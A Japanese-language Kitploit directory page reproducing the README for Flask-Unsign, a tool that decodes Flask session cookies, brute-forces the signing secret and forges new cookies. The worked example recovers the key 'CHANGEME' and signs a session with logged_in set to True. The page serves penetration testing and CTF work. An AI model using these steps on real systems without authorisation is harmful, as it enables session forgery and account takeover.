Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Flask-Unsign — シークレットキーを推測してFlaskアプリケーションのセッションクッキーを取得、デコード、ブルートフォース、作成するためのコマンドラインツール。 | Kitploit
ツール/GitHubGitHub/paradoxis/flask-unsign
パスワード攻撃ウェブアプリケーション悪用CTFペネトレーションテスト
GitHubparadoxis/flask-unsign

Flask-Unsign

シークレットキーを推測してFlaskアプリケーションのセッションクッキーを取得、デコード、ブルートフォース、作成するためのコマンドラインツール。

リポジトリを見るウェブサイト
660481年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Flask Unsign

Build Status PyPI version codecov

Flask アプリケーションのセッションクッキーを、秘密鍵の推測によって取得・デコード・ブルートフォース・作成するためのコマンドラインツールです。 スタンドアロンのワードリストコンポーネントについては、flask-unsign-wordlist リポジトリを参照してください。

要件

  • Python 3.6+

インストール

アプリケーションをインストールするには、単に pip を使用します:

root@kitploit:~
$ pip3 install flask-unsign[wordlist]

コアコードのみをインストールしたい場合は、[wordlist] の接尾辞を省略します:

root@kitploit:~
$ pip3 install flask-unsign

開発目的でツールをインストールするには、次のコマンドを実行します(コピーをダウンロードした後):

root@kitploit:~
$ pip3 install -e .[test]

使用方法

可能なすべてのオプションの概要を確認するには、flask-unsign を引数なしで呼び出すだけです:

root@kitploit:~
$ flask-unsign

セッションクッキーの取得とデコード

Flask のクッキーは署名されており、暗号化されてはいないため、セッションデータをローカルでデコードすることが可能です。これには --decode 引数を使用します。

セッションクッキーは、Burp Proxy などのプロキシを使用して HTTP リクエストを検査したり、ブラウザのネットワークインスペクタを使用したり、ブラウザ拡張機能でクッキーを表示・変更したりすることで取得できます。デフォルトでは、Flask はセッション名 "session" を使用します。

root@kitploit:~
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}

また、--cookie 引数の代わりに --server 引数を渡すことで、Flask-Unsign の自動セッション取得機能を使用することもできます。ただし、すべての Web ページがセッションを返すとは限らないため、セッションを返す URL を必ず渡すようにしてください。

root@kitploit:~
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}

アンサイン(秘密鍵のブルートフォース)

サンプルのセッションクッキーを取得したら、サーバーの秘密鍵のブルートフォースを試みることができます。運が良ければ、これは推測しやすい値に設定されているかもしれませんし、オンラインで見つかった場合は、ワードリストのいずれかに含まれているかもしれません。これには --unsign 引数を使用します。

root@kitploit:~
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'

署名(セッション操作)

サーバーの秘密鍵を入手したら、独自のカスタムセッションデータを作成できるようになります。これには --sign 引数を使用します。

root@kitploit:~
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

トラブルシューティング

  • プログラムのインストール中にエラーが発生する
    • 間違った pip バイナリを使用している可能性があります。次のコマンドを試してみてください: python3.6 -m pip install flask-unsign
  • 秘密鍵を見つけたが、作成したセッションが機能しない!
    • ターゲットサーバーが古いバージョンの itsdangerous を使用している可能性があります。タイム付きセッションに関する問題のため、タイムスタンプ生成アルゴリズムが変更されました。古い署名を生成するには、--legacy オプションを試してみてください。
  • ワードリストが機能しない
    • ワードリストは改行区切りの Python 文字列 であることが期待されます(つまり、引用符で囲む必要があります)。これは、バイナリ文字列を改行形式で簡単に保存できるようにするためです。この機能を無効にしたい場合は、--no-literal-eval 引数を渡すことで無効にできます。

仕組み

これが正確にどのように機能するのか疑問に思っている場合は、私のブログ記事を参照してください。そこでは、この攻撃から自分のサーバーを保護する方法のガイドを含め、非常に詳細に説明されています。

ライセンス

MIT License

Copyright (c) 2021 Luke Paris (Paradoxis)

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

ツールをダウンロード